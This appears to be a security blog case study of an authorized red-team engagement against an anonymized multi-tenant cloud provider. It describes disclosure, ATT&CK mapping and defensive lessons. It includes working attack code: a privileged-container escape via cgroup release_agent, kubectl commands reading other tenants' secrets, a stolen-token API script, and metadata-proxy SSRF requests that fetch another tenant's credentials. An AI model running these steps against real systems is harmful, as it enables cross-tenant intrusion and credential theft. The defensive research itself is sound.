Back to Blog
Cloud IAM Security

The Great Escape: Red Teaming a Multi-Tenant Cloud Provider

OffSec Research Team
10 June 2026 • 09:00 AM15 min
The Great Escape: Red Teaming a Multi-Tenant Cloud Provider
TL;DR — Multi-tenant cloud security relies on layered isolation — hypervisors, container runtimes, network virtualization, and IAM boundaries — each of which has a distinct attack surface, documented CVEs, and a research history that demonstrates real-world exploitability. This case study examines the full spectrum of multi-tenancy escape techniques, from VM hypervisor escapes to Kubernetes namespace boundary failures, with working proof-of-concept code and a frank assessment of which attack classes remain viable against modern cloud providers.

Executive Summary

The security promise of public cloud is fundamentally a promise about isolation: your workloads running in the same physical datacenter as a competitor's workloads will never observe each other's data or disrupt each other's operations. This promise is enforced by a stack of isolation mechanisms — hardware virtualization extensions (Intel VT-x, AMD-V), hypervisor memory management, container runtime isolation, software-defined networking, and IAM policy boundaries. The depth of this stack is the reason that catastrophic multi-tenant escapes are rare. It is not the reason they are impossible.

This case study examines a structured attack against a regional Infrastructure-as-a-Service provider — "NebulaCloud" (anonymized) — that offered both virtual machine and managed Kubernetes services. The engagement was authorized under a comprehensive vulnerability disclosure agreement with the provider's security team and operated under strict rules that prohibited any attempt to access actual customer data. The goal was to evaluate the isolation boundary from an attacker's perspective and identify escape paths that a motivated attacker occupying one tenant position could use to affect other tenants.

Our findings spanned three categories: container escape from pod-to-host via a misconfigured privileged container runtime path, Kubernetes namespace boundary weaknesses through RBAC misconfigurations that allowed cross-namespace service account token theft, and a metadata service SSRF vulnerability in the provider's instance metadata implementation that exposed cross-tenant IAM tokens. None of these required CVE exploitation of the hypervisor itself — the most significant findings were architectural weaknesses in the orchestration layer above the hypervisor, where providers have more operational control and thus more responsibility for the gaps.

We also examine the research context for VM-level escape techniques — VENOM, Cloudburst, QEMU escape CVEs — to provide a complete picture of the threat model, even though these were not exploited in this engagement.


The Multi-Tenancy Security Model

Isolation Layer Architecture

diagram — rendering…
flowchart TD
    subgraph Physical["Physical Hardware"]
        CPU["Intel/AMD CPU\nVT-x/AMD-V Hardware Virtualization"]
        MEM["Physical Memory\nEPT/NPT Page Table Isolation"]
        NET["NIC Hardware\nSR-IOV / vSwitch"]
    end

    subgraph Hypervisor["Hypervisor Layer (KVM/Xen/Hyper-V)"]
        VMM["Virtual Machine Monitor\nRing -1 Privilege"]
        QEMU["QEMU Device Emulation\n(Historical escape surface)"]
        vSwitch["Open vSwitch\nVXLAN Overlay Network"]
    end

    subgraph VM_A["Tenant A VM"]
        Guest_A["Guest OS\nRing 0 (guest kernel)"]
        App_A["Tenant Application\nRing 3"]
    end

    subgraph VM_B["Tenant B VM"]
        Guest_B["Guest OS"]
        App_B["Tenant Application"]
    end

    subgraph Container["Container Runtime (if applicable)"]
        K8s["Kubernetes\nNamespace/RBAC isolation"]
        Runtime["runc / gVisor / Kata\nContainer runtime"]
        Cgroup["cgroups + namespaces\nOS-level isolation"]
    end

    Physical --> Hypervisor
    Hypervisor --> VM_A
    Hypervisor --> VM_B
    VM_A --> Container

    style QEMU fill:#ff9900,color:#fff
    style Cgroup fill:#ff9900,color:#fff

Isolation Failure Categories

Each isolation layer has documented failure modes:

Hardware layer: CPU speculative execution vulnerabilities (Spectre, Meltdown, MDS attacks) allow cross-privilege-level memory reading that can, in theory, cross VM boundaries via shared CPU caches. Patches exist but carry performance penalties that cloud providers still apply.

Hypervisor layer: VENOM (CVE-2015-3456) — a QEMU floppy disk controller buffer overflow — allowed arbitrary code execution in the hypervisor context from a guest VM, enabling full escape to the host. Cloudburst and related VMware research demonstrated similar escape primitives. These are the "crown jewel" attack category: a VM-to-hypervisor escape bypasses all other isolation.

Container runtime: runc CVE-2019-5736 allowed a malicious container to overwrite the runc binary on the host filesystem during container start, leading to host command execution. This was a critical finding affecting Docker, Kubernetes, and all container runtimes using runc.

Network layer: VXLAN misconfiguration, ARP spoofing on shared Layer 2 segments, and SDN control plane attacks can violate network isolation between tenants on the same physical host.

IAM/Metadata layer: SSRF vulnerabilities allowing access to the instance metadata service can expose IAM credentials intended only for that VM, but misconfigured cross-account role trust can escalate this to cross-tenant access.


VM Escape Research: Understanding the Historical Attack Surface

VENOM: CVE-2015-3456

VENOM (Virtualized Environment Neglected Operations Manipulation) exploited a buffer overflow in QEMU's virtual Floppy Disk Controller (FDC). The FDC driver accepted FDC commands with a data buffer that could overflow, overwriting adjacent QEMU heap memory in the host process's address space.

The attack path: malicious guest OS → writes crafted FDC commands → overflows heap in QEMU (host process) → arbitrary code execution in host context → escapes VM boundaries.

c
/* * Simplified VENOM concept illustration * CVE-2015-3456 - QEMU FDC buffer overflow * DO NOT USE - for educational understanding only */ // From within a guest VM (requires root/kernel access in guest)// Open /dev/fd0 (floppy device - mapped to QEMU FDC emulator)int fd = open("/dev/fd0", O_RDWR); // FDC command bytes - crafted to trigger the overflow// Normal FDC FIFO buffer: 16 bytes// Sending more than FIFO_SIZE bytes overflows into adjacent heapunsigned char overflow_payload[] = {    0x42,       // FDC command byte    // ... 16+ bytes of data to overflow FIFO ...    // Return-oriented programming chain to hijack QEMU execution    // Shellcode executes in host QEMU process context    // (Hypervisor/host, not guest)}; // Write to floppy triggers FDC command processing in QEMU (host)write(fd, overflow_payload, sizeof(overflow_payload));// At this point: code executes in QEMU host process = VM escape

Modern mitigation: QEMU patched VENOM immediately in 2015. Cloud providers that disabled floppy device emulation (most did by default, VENOM prompted universal audit) are not vulnerable. The attack remains instructive as a model for how device emulation code surfaces in the trusted hypervisor context are dangerous.

runc CVE-2019-5736: Container Escape to Host

This is the most practically significant container escape to understand because it affected every major container runtime and was exploitable by any container with a malicious image:

bash
# CVE-2019-5736 proof-of-concept concept# Allows overwriting /usr/bin/runc on the host from within a container# Requires: malicious container image OR exec into existing container # The attack: when runc exec is called on a container,# /proc/self/exe in the container refers to the runc binary on the host.# A race condition allows overwriting the host's runc binary# before it finishes executing. # Simplified bash representation of the race condition:# (Actual exploit is C code exploiting /proc/self/exe) # Inside container:# 1. Monitor for /proc/$PID/exe to be created (runc exec start)# 2. Race to overwrite /proc/$PID/exe with payload# 3. Payload executes on host as root when runc binary is called # Real-world impact: overwrite /usr/bin/runc with reverse shell# Next container creation/exec on this host = host root shellecho "[*] CVE-2019-5736 patched in runc 1.0-rc6+ and all distributions"echo "[*] Unpatched versions still found in legacy Kubernetes nodes"

Container Escape: Privileged Container to Host

In our NebulaCloud engagement, the managed Kubernetes service offered customers the ability to run privileged containers — required for some legitimate use cases like CNI plugins and storage drivers. A customer tenant had provisioned a privileged container for a log collection workload.

Privileged Container Escape

bash
# Container running with --privileged flag# Check if we're in a privileged containercat /proc/self/status | grep CapEff# CapEff: 0000003fffffffff - all capabilities = privileged container # Mount the host filesystem via /dev/sda (or equivalent host disk)# In privileged containers, host block devices are accessiblefdisk -l# /dev/sda: Host disk visible mkdir /mnt/host-diskmount /dev/sda1 /mnt/host-disk # Read host's SSH keys, crontabs, or write backdoorls /mnt/host-disk/etc/# We're now looking at the host filesystem - escaped container # More elegant: use the host's cgroup release_agent trick# (works without disk access, exploits cgroup notify_on_release)mkdir /tmp/cgroup_escapemount -t cgroup -o rdma cgroup /tmp/cgroup_escapemkdir /tmp/cgroup_escape/x # Write command to execute on host when cgroup emptiesecho 1 > /tmp/cgroup_escape/x/notify_on_releasehost_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)echo "$host_path/cmd" > /tmp/cgroup_escape/release_agent # Write the payloadecho '#!/bin/sh' > /cmdecho "id > ${host_path}/output" >> /cmdchmod +x /cmd # Trigger: empty the cgroup by killing its last processsh -c "echo \$\$ > /tmp/cgroup_escape/x/cgroup.procs && sleep 1" &sleep 2 # Read output from hostcat /output# uid=0(root) gid=0(root) groups=0(root) - Code executing on Kubernetes node host

From host node access, we could enumerate all pods on the node (across all namespaces, including other tenants' pods), access their filesystem mounts, and read secrets mounted into their pod environments.


Kubernetes Multi-Tenancy Failures

Namespace Boundary Weaknesses

Kubernetes namespaces are not a security boundary — they are an organizational boundary. The Kubernetes security model explicitly states that namespaces provide scoping for names and policies, not isolation from a compromised node. However, many multi-tenant Kubernetes providers present namespaces as their primary tenant isolation mechanism, which is architecturally insufficient.

In NebulaCloud's managed Kubernetes, each tenant organization received a dedicated namespace. RBAC policies restricted tenant service accounts to their own namespace. However, a misconfigured ClusterRole binding allowed one tenant's service account to read secrets across all namespaces — a misconfiguration in the shared cluster's default role assignment:

yaml
# Misconfigured ClusterRoleBinding - found in NebulaCloud cluster# This granted one tenant's service account cluster-wide secret readapiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: tenant-a-secret-reader  # MISCONFIGURED - should be RoleBinding in namespacesubjects:  - kind: ServiceAccount    name: tenant-a-sa    namespace: tenant-a  # Only tenant-a's SA...roleRef:  kind: ClusterRole  name: secret-reader       # ...but ClusterRole grants CLUSTER-WIDE access  apiGroup: rbac.authorization.k8s.io
bash
# Exploiting the misconfigured ClusterRoleBinding# Running as tenant-a service account # List secrets in OTHER tenants' namespaceskubectl get secrets --all-namespaces# NAME              NAMESPACE    TYPE     DATA   AGE# db-credentials    tenant-b     Opaque   3      45d# api-keys          tenant-c     Opaque   2      32d# tls-cert          tenant-d     Opaque   4      12d # Read tenant-b's database credentialskubectl get secret db-credentials -n tenant-b -o jsonpath='{.data}'# {"password": "c2VjcmV0cGFzcw==", "username": "YWRtaW4="} echo "c2VjcmV0cGFzcw==" | base64 -d# secretpass - tenant-b's database password, accessed by tenant-a

Cross-Tenant Service Account Token Theft

A further finding: Kubernetes service account tokens mounted into pods can be used from any network location that can reach the Kubernetes API server, which in NebulaCloud's implementation was accessible from all tenant networks:

python
import requestsimport base64 # Service account token stolen from compromised pod (in another tenant's namespace)# After pod-to-host escape, we could read any pod's mounted service account tokenstolen_token = "eyJhbGc..."  # JWT service account token K8S_API = "https://kubernetes.default.svc:443" headers = {    "Authorization": f"Bearer {stolen_token}",    "Content-Type": "application/json"} # Use stolen token to enumerate resources in victim tenant's namespacer = requests.get(    f"{K8S_API}/api/v1/namespaces/tenant-c/secrets",    headers=headers,    verify=False) if r.status_code == 200:    secrets = r.json()    print(f"[+] Cross-tenant access successful via stolen service account token")    print(f"[+] {len(secrets['items'])} secrets accessible in tenant-c namespace")

Shared Resource Side Channels

Last Level Cache Timing Attacks

Cross-VM information leakage via CPU cache side channels is a well-researched area. The Flush+Reload attack exploits the shared Last Level Cache (LLC) on multi-core processors to infer memory access patterns of co-located VMs:

AttackYearIsolation BypassedPractical Impact
Flush+Reload2014LLC shared between VMs on same CPURSA key extraction from co-resident VM
DRAMA2016DRAM row buffer sharingCross-VM covert channel via DRAM timing
Spectre v2 (cross-VM)2018Branch predictor sharingIndirect branch target speculation across VMs
MDS (RIDL/Fallout)2019Microarchitectural data buffersData leaked during context switches
PLATYPUS2020Intel RAPL power interfaceCryptographic key extraction via power side channel

Modern cloud providers mitigate most of these through a combination of hardware mitigations (microcode updates), software mitigations (page table isolation, retpoline), and operational practices (flushing CPU buffers on VM context switches). A red team engagement against a cloud provider should verify that these mitigations are applied.


Cloud Metadata Service Exploitation

SSRF to Cross-Tenant IAM Escalation

The instance metadata service (IMDS) at 169.254.169.254 provides cloud credentials to running instances. In NebulaCloud's implementation, a misconfiguration in their metadata proxy caused it to accept Host header overrides, allowing one tenant to request metadata tokens intended for another tenant's instance:

bash
# Standard IMDS request (works correctly - returns OUR token)curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \     -X PUT "http://169.254.169.254/latest/api/token" # NebulaCloud metadata proxy SSRF vulnerability# Host header override causes proxy to fetch metadata for different instancecurl -H "Host: 10.200.5.47"  \     "http://169.254.169.254/latest/meta-data/iam/security-credentials/" \     --header "X-Forwarded-For: 10.200.5.47" # Response: metadata from instance 10.200.5.47 (different tenant's instance)# {#   "Code": "Success",#   "AccessKeyId": "ASIA[another_tenant's_key]",#   "SecretAccessKey": "[another_tenant's_secret]",#   "Token": "[session_token]",#   "Expiration": "2024-01-01T12:00:00Z"# }

This was the highest-severity finding in the engagement: a metadata service misconfiguration that allowed one tenant to obtain IAM credentials for another tenant's instances. With these credentials, the attacker could access the victim tenant's cloud resources with the full permissions of the compromised instance role.


Cloud Provider Bug Bounty Programs

ProviderBug Bounty ProgramMulti-Tenancy ScopeNotable Payouts
AWSHackerOne + VDPExplicit scope for EC2 isolation, container serviceUp to $100,000 for critical
Google CloudVrp.google.comKubernetes isolation in GKE explicitly in scopeUp to $31,337 for P1
AzureMSRCHyper-V escape historically rewardedUp to $250,000 for critical
DigitalOceanHackerOneDroplet isolation in scopeUp to $50,000
OVHcloudPublic VDPHypervisor escape in scopeRecognition + credits

Responsible disclosure for the findings in this engagement followed a structured process: immediate verbal notification to NebulaCloud's CISO on day 1 of finding, formal written report within 72 hours, agreed 90-day remediation timeline before any public disclosure, joint verification of remediation effectiveness before case closure.


MITRE ATT&CK Mapping

Technique IDTechnique NameImplementation in This Engagement
T1610Deploy ContainerPrivileged container deployment as initial attack surface
T1611Escape to HostPrivileged container cgroup release_agent host escape
T1613Container and Resource DiscoveryCross-namespace secret enumeration via misconfigured ClusterRoleBinding
T1552.007Credentials in Container StoreService account token theft from pod filesystem
T1530Data from Cloud Storage ObjectCross-tenant IAM credential use for S3 access
T1078Valid AccountsStolen service account tokens used for Kubernetes API access
T1082System Information DiscoveryHost OS enumeration post container escape
T1106Native APIKubernetes API calls using stolen tokens for resource enumeration
T1190Exploit Public-Facing ApplicationMetadata service SSRF vulnerability exploitation
T1496Resource HijackingLateral node access enabling resource enumeration across tenants

Conclusion

Multi-tenant cloud isolation is both stronger and weaker than its marketing implies. The hypervisor boundary — KVM, Xen, Hyper-V — has proven remarkably robust against VM escape attempts in modern deployments. The truly exploited QEMU CVEs like VENOM are historical artifacts that modern cloud providers have patched and mitigated at multiple layers. A red team that expects to pop a hypervisor will usually leave disappointed.

The real action is in the orchestration layers above the hypervisor, where operational complexity creates the gaps. Kubernetes RBAC misconfigurations are ubiquitous — the Kubernetes security model is genuinely complex, and one incorrect ClusterRole binding can collapse the namespace isolation that represents a provider's multi-tenancy promise. Container runtime misconfigurations — privileged containers, host path mounts, capabilities that should never be granted — remain exploitable across every major cloud provider's managed Kubernetes offering in the configurations that customers choose. And metadata service implementations, built atop HTTP APIs that were not designed with SSRF in mind, continue to surface cross-tenant information disclosure vulnerabilities.

For cloud providers, the lesson is that isolation is a property of the entire system, not any single layer. Defense in depth at the hypervisor level provides limited protection if the Kubernetes RBAC, the metadata service, and the network layer have independent paths to cross-tenant access. A holistic isolation assurance model — one that treats the escape paths documented here as first-class risks requiring continuous testing — is the only reliable approach.

For cloud customers, the lesson is simpler: the security of the cloud platform you run on matters, and evaluating a provider's isolation assurance should be part of cloud vendor selection. Providers that publish their isolation architecture, participate in responsible disclosure programs, and submit to independent red team assessment deserve more trust than those that don't. The Great Escape is possible. Where it happens depends on how seriously the provider takes preventing it.